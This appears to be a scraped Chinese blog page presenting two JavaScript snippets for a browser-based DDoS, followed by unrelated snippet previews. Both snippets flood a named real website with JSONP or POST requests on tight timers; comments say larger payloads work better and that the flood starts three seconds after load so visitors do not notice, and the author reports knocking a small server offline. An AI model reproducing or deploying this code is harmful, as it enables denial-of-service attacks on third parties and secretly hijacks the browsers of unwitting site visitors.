代码1:
<!--代码开始-->
<script src="http://lib.sinaapp.com/js/jquery/1.9.1/jquery-1.9.1.min.js"></script>
<script>
var index=0;
function test(){
$.ajax({
url:"http://www.i9a.cn/",
dataType:"jsonp",
success:function(data){
console.log(data);
}
});
$("#test").html(index++);
}
for(var i=0; i<10; i++){
setInterval("test()", 100);
}
</script>
<!--代码结束-->代码2:
<!--代码开始-->
<script type="text/javascript">
var t_postdata='id=datadatadatadatadata';//数据越大效果越好。
var t_url='http://www.i9a.cn/computer/index.asp';
function c_xmlHttp()
{
if(window.ActiveXObject)
{
xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
}
else if(window.XMLHttpRequest)
{
xmlHttp=new XMLHttpRequest();
}
return xmlHttp;
}
function post_send()
{
var xmlHttp=c_xmlHttp();
xmlHttp.open("POST",t_url,true);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send(t_postdata);
r_send();
}
function r_send()
{
setTimeout("post_send()", 50);//50毫秒一次
}
if(!+[1,])//IE下不执行。
{var fghj=1;}
else
{setTimeout("post_send()", 3000);}//访问网站3秒后再执行,这样用户就毫无感觉。
</script>
<!--代码结束-->我测试使用流量宝刷流量2000,1G1核1M网络中断1次。有人说太鸡肋,但是就是因为js ddos 百度曾经被利用攻击第三方服务器。
由于工作需要长期使用Ajax,一个页面重复的AJAX请求太多,于是封装起来,只需要编写回调函数/* ------------- 使用方法: 1.ajaxrequest()函数执行准备的参数(1.请求地址2.发送数据字符串拼接3.type值可选get/post4.回调函数名称) exam...
离线缓存的开启实例使用apache设置 1.apache配置文件搜索Addtype,我的addtype已经存在项目,如下 AddType application/x-compress .Z AddType application/x-gz...
https://3gimg.qq.com/lightmap/v1/marker/index.html?marker=coord:37.6767600000,112.7297800000&key=TKUBZ-D24AF-GJ4JY-JDVM2-IBYKK-KEBCU&referer=p...
<!-- 三个核心方法 openDatabase:这个方法使用现有数据库或创建...
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8"> </head> <body>...
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body>...